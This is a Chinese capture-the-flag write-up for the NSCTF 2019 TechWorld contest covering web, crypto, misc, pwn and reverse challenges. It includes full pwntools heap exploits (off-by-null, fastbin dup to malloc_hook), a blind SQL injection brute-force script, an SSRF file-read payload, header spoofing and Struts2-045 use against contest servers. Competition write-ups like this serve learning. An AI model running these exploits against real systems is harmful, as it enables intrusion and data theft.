NSCTF 2019 TechWorld 信息安全挑战赛 WriteUp by impakho
前言
由 绿盟科技
与 看雪
联合主办的赛事,持续 24 小时,共 20 道题。
比赛入口地址:http://2019techworld.nsctf.cn
这次比赛共 204 支队伍参加,有 47 支队伍解出题目。
第一次参加由绿盟举办的比赛,题目质量一般,有好有不好。
这次共解出 12
道题,排名第三。
Web - Web1
空白页面。用扫描器扫描网站目录,泄露出 /.DS_Store
,然后用 ds_store
泄露脚本,泄露出 /CTF_Can_U_Tell_Me_The_Flag/.git/
,然后用 GitHack
泄露得到 git
目录,然后用 git log
命令,就看到 flag
了。
Flag:flag{GZUL9vaZcE9bZKrfkRFnrQUNWzL49KPR}
Crypto - RSA
n= 703739435902178622788120837062252491867056043804038443493374414926110815100242619
e= 59159
c= 449590107303744450592771521828486744432324538211104865947743276969382998354463377
m=???
这题可参考 0ctf RSA?
。factordb
分解 n
, 得到三个质因数,与平常两个质因数的有所不同,公式如下。
ϕ(p*q*r)=ϕ(N)=ϕ(q)*ϕ(p)*ϕ(r)=(p−1)*(q−1)*(r−1)
然后就是常规解法,直接可以写出解密脚本。
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
e = 59159
p = 782758164865345954251810941
q = 810971978554706690040814093
r = 1108609086364627583447802163
n = 703739435902178622788120837062252491867056043804038443493374414926110815100242619
d = modinv(e, (p-1)*(q-1)*(r-1))
print d
c = 449590107303744450592771521828486744432324538211104865947743276969382998354463377
destr = hex(pow(c, d, n))
destr = destr[2:-1]
print destr
print destr.decode("hex")
Flag:flag{1e257b39a25c6a7c4d66e197}
Misc - Naruto
jpg
图片末尾有一串东西 69616D70617373307264
,转为字符串得到疑似密码 iampass0rd
。
使用各类工具检查图片,疑似只有 jphide
隐写。
尝试使用 jphs
解密,拿到 Flag
。
Flag: flag{jphid_is_good}
Web - Web2
题目给了两个端口,8085
是一个 apache2
默认页面,8086
是 GitLab
。
起初猜测考察 Gitlab
的 CVE
。网上查阅了一下,不过这个 11.1.4
版本好像没有什么好用的 CVE
。
然后注册,登录,尝试看一下有没有存在已经注册的用户,找到 /root
有个用户创建了一个项目 Administrator/MyProject
。
Dockerfile
文件显示 Flag
保存在 /flag.txt
。
index.php
是一个可以 SSRF
的后门,后门密码 md5
解一下得到 ctfun
。
构造合适的 payload
即可读出 Flag
。
/index.php?url=file:///flag.txt&pass=ctfun
Flag:flag{c42e23922b2e2964a7b7f971b1e6548b}
Pwn - Pwn1
保护全开,只有三个功能可用,分别是 add delete update
。
没有 show
泄露功能,而且每次 malloc
后都会 memset
置零清空堆上数据。
update
有个 off by null
,而且 index
可以为负数,可以往 bss
低地址方向上的内存地址写东西。
那么可以往 bss
上的 stdout
写一段构造好的数据来泄露 libc
地址。
然后就是传统的 off by null
,触发堆块合并,导致 chunk overlapping
,然后改 fast chunk
的 fd
到 malloc_hook
前面,malloc
两次,然后改 malloc_hook
为 one_gadget
的地址,触发 malloc
,就能 getshell
。
附上 exp
:
from pwn import *
local=0
if local:
env={'LD_PRELOAD':'./libc6_2.23_10.so'}
io=process('./pwn2_ld',env=env)
else:
io=remote('39.106.184.130', 8089)
context.log_level='debug'
def add(size,content):
io.sendlineafter('5.exit','1')
io.sendlineafter('size:',str(size))
io.sendafter('content:',content)
def delete(idx):
io.sendlineafter('5.exit','2')
io.sendlineafter('index:',str(idx))
def update(idx,size,content):
io.sendlineafter('5.exit','4')
io.sendlineafter('index:',str(idx))
io.sendlineafter('size:',str(size))
io.sendafter('content:',content)
payload=p64(0xfbad1880)+p64(0)*3+'\x00'
update(-16,0x30,payload)
io.recvuntil('\x00'*0x18)
libc_addr=u64(io.recv(8))-0x3c36e0
print hex(libc_addr)
add(0x218,'a')
add(0x218,'a')
add(0x218,'\x00'*0x1f0+p64(0x200)+p64(0x20))
add(0x218,'a')
delete(2)
update(1,0x218,'\x00'*0x218)
add(0x100,'a')
add(0x80,'a')
delete(2)
delete(3)
add(0x100,'a')
add(0x60,'a')
delete(3)
chunk_addr=libc_addr+0x3c4b10-0x23
print hex(chunk_addr)
update(4,0x8,p64(chunk_addr))
add(0x60,'a')
gadget_addr=libc_addr+0xf1147
print hex(gadget_addr)
add(0x60,'\x00'*0x13+p64(gadget_addr))
io.sendlineafter('5.exit','1')
io.sendlineafter('size:','1')
io.interactive()
Flag:flag{play_w1th_he4p_shrink}
Misc - Log analysis
日志里涉及到二分法爆破 Flag
值,直接写个脚本提取出来。
提取含 !=
和 flag
的行即可。
import urllib
lines=open('access.log').readlines()
flag=''
for line in lines:
if 'flag' not in line: continue
try:
line=line.split('?id=')[1].split('--')[0]
except:
continue
line=urllib.unquote(line)
if '!=' in line:
line=line.split('!=')[1].split(',')[0]
flag+=chr(int(line))
print flag[1:]
Flag:flag{3287fe300f28e24aefa2d86883832c9f}
Web - Web5
sql注入
类型的题目。union select
,加减乘除符号被过滤,有部分函数例如 char
被过滤,不过过滤得不算特别多。
写个脚本爆破一下即可。
# -*- coding: utf-8 -*-
import requests
import urllib
import string
url='http://39.106.184.130:8082/index.php?id=%s'
table='1234567890abcdef'
key=''
for i in range(1,70):
for j in table:
print j
payload='9 or (if(strcmp(mid((select flag from flag),%d,1),"%s"),1,0))' % (i,j)
payload=urllib.quote(payload)
r=requests.get(url % payload)
if 'Attack' in r.content:
print 'Attack'
break
if '一个字,干' not in r.content:
key+=j
break
print key
Flag:flag{deb7cb73f0ea2b2af2d1e3715fd12044}
Web - Web6
题目提示“需要本地管理员才能访问页面”,那么添加上 Client-IP: 127.0.0.1
请求头去访问页面,即可拿到 Flag
。
Flag:flag{sgwxsSesSD232se14sdSVSsx}
Pwn - Pwn2
每次只能控制一个堆块,漏洞点是可以改 bss
上堆块地址的最后一个字节。
先用 free
掉的 small chunk
泄露 libc
地址,然后 fastbin dup
去改 malloc_hook
为 one_gadget
地址。
只不过 one_gadget
使用 [rsp+0x50]
,然后 free
一下导致 malloc_printerr
来触发 malloc_hook
。
贴上完整脚本:
from pwn import *
local=0
if local:
env={'LD_PRELOAD':'./libc6_2.23_10.so'}
io=process('./pwn1_ld',env=env)
else:
io=remote('39.106.184.130', 8090)
context.log_level='debug'
def welcome(name):
io.sendafter('name\n',name)
def add(size):
io.sendlineafter('6.exit\n','1')
io.sendlineafter('size\n',str(size))
def delete():
io.sendlineafter('6.exit\n','2')
def show():
io.sendlineafter('6.exit\n','3')
def update(name):
io.sendlineafter('6.exit\n','4')
io.sendafter('name\n',name)
def edit(note):
io.sendlineafter('6.exit\n','5')
io.sendafter('note\n',note)
welcome('a')
add(0x80)
add(0x20)
delete()
add(0x10)
update('a'*0x30+'\x10')
delete()
add(0x20)
update('a'*0x30+'\x10')
show()
libc_addr=u64(io.recvline()[:-1].ljust(8,'\x00'))-0x3c4b78
print hex(libc_addr)
add(0x80)
edit('\x00'*0x10+p64(0)+p64(0x71))
update('a'*0x30+'\x30')
delete()
add(0x10)
update('a'*0x30+'\x30')
chunk_addr=libc_addr+0x3c4b10-0x23
print hex(chunk_addr)
edit(p64(chunk_addr))
add(0x60)
add(0x60)
gadget_addr=libc_addr+0xf02a4
print hex(gadget_addr)
edit('\x00'*0x13+p64(gadget_addr))
#pause()
delete()
io.interactive()
Flag:flag{pl4y_with_global_buffer_0verflow}
Reverse - Crackme_Middle
有两个函数,sub_401258
做了一些检查,输入长度需要满足16字节,而且在 a-zA-Z0-9范围里
。
sub_4012A9
是一个加密函数,调一下发现是逐字节加密,然后密钥表是64字节的,密钥表由 key
: 0xDEADBEEFCAFEC0DE
扩展生成。原始密钥表是一个 CRC32
的置换表。这个加密算法又有点像 RC4
。
直接 dump
出最终的密钥表,将关键异或加密部分的算法提取出来,改写成 python
脚本爆破一下,就能拿到 Flag
。
附上爆破脚本:
import copy
enc_flag=[0x2E, 0x67, 0x58, 0x29, 0x65, 0x25, 0x65, 0x46, 0x14, 0x14, 0xF, 0x12, 0x28, 0x24, 0x15, 0x2D]
new_table=[
0x2D, 0x3E, 0x27, 0x3D, 0x0D, 0x28, 0x06, 0x34, 0x1D, 0x0A,
0x00, 0x31, 0x1C, 0x24, 0x20, 0x04, 0x3B, 0x08, 0x02, 0x3A,
0x14, 0x2C, 0x25, 0x1F, 0x18, 0x1A, 0x1E, 0x2A, 0x21, 0x11,
0x3F, 0x38, 0x17, 0x30, 0x0F, 0x22, 0x03, 0x12, 0x35, 0x07,
0x3C, 0x33, 0x10, 0x26, 0x2B, 0x09, 0x2E, 0x37, 0x1B, 0x32,
0x16, 0x2F, 0x0C, 0x23, 0x13, 0x29, 0x15, 0x05, 0x01, 0x36,
0x39, 0x0E, 0x19, 0x0B, 0x00, 0x00, 0x00, 0x78, 0x2E, 0x67,
0x58, 0x29, 0x65, 0x25, 0x65, 0x46, 0x14, 0x14, 0x0F, 0x12,
0x28, 0x24, 0x15, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]
flag=''
for t1 in range(16):
match = 0
for t2 in range(0x20,0x7f):
tmp = flag + chr(t2)
table = copy.deepcopy(new_table)
i = table[64]
j = table[65]
k = table[66]
for t3 in range(len(tmp)):
i = (i + 1) & 0x3F
j = (table[i] + j) & 0x3F
v18 = (i + table[j]) & 0x3F
v10 = table[i] ^ table[j]
table[i] ^= v10
table[j] ^= v10
v12 = table[i] ^ table[v18]
table[i] ^= v12
table[v18] ^= v12
if t3 == t1:
res = (ord(tmp[t3]) - ((table[i] + table[j] + table[v18]) & 0x3F)) & 0xFF
if res == enc_flag[t3]:
match = 1
flag += chr(t2)
break
if match == 1: break
print flag
Flag:flag{ctfcoded20190616}
Web - Web3
题目是一个 struts2 showcase
网站,用 struts-scan
扫描,发现 struts2-045-2
漏洞可以打。
然后 flag
在 /flag.txt
,只不过没有权限读。
找到一个可以读 flag
的程序,有设置 suid
,有权限读取 flag
文件。
Flag:flag{ef7c40a69bb58a7699fa27dd2f10f763}
Misc - Misc1
总共 319
字节,由 a
和 空格
组成。
按照8字节一行输出,发现最后一个字符为 空格
,去除每行最后一个 空格
,还有7个字节,a
表示 1
,空格
表示 0
,刚好表示二进制落在 ASCII
范围里。
得到字符串:
MYJULUFYP=FYY3JWN2A=TTVTHSWL==VWVKE5SC==
栅栏解密得到:
MFTVYYTWJYVVU3TKLJHEUWS5FNWSY2LCPA======
base32
解密得到:
ag\bvN+ZnjZNJZ]+m,ibx
然后凯撒解密就能得到 Flag
。
附上完整代码:
import base64
f=open('challenge.txt')
enc1=''
for i in range(40):
tmp=f.read(8).ljust(8,' ').replace('a','1').replace(' ','0')
tmp=int(tmp[:-1],2)
enc1+=chr(tmp)
print enc1
enc2=''
for i in range(len(enc1)/4):
enc2+=enc1[len(enc1)/4*0+i]
enc2+=enc1[len(enc1)/4*1+i]
enc2+=enc1[len(enc1)/4*2+i]
enc2+=enc1[len(enc1)/4*3+i]
print enc2
enc2=base64.b32decode(enc2)
print enc2
for i in range(0x100):
enc3=''
for j in enc2:
tmp=(ord(j)+i)&0x7f
if tmp<0x20: tmp=0x20
enc3+=chr(tmp)
if enc3.startswith('flag'): print enc3
Flag:flag{S0_so_SO_b0r1ng}
Comments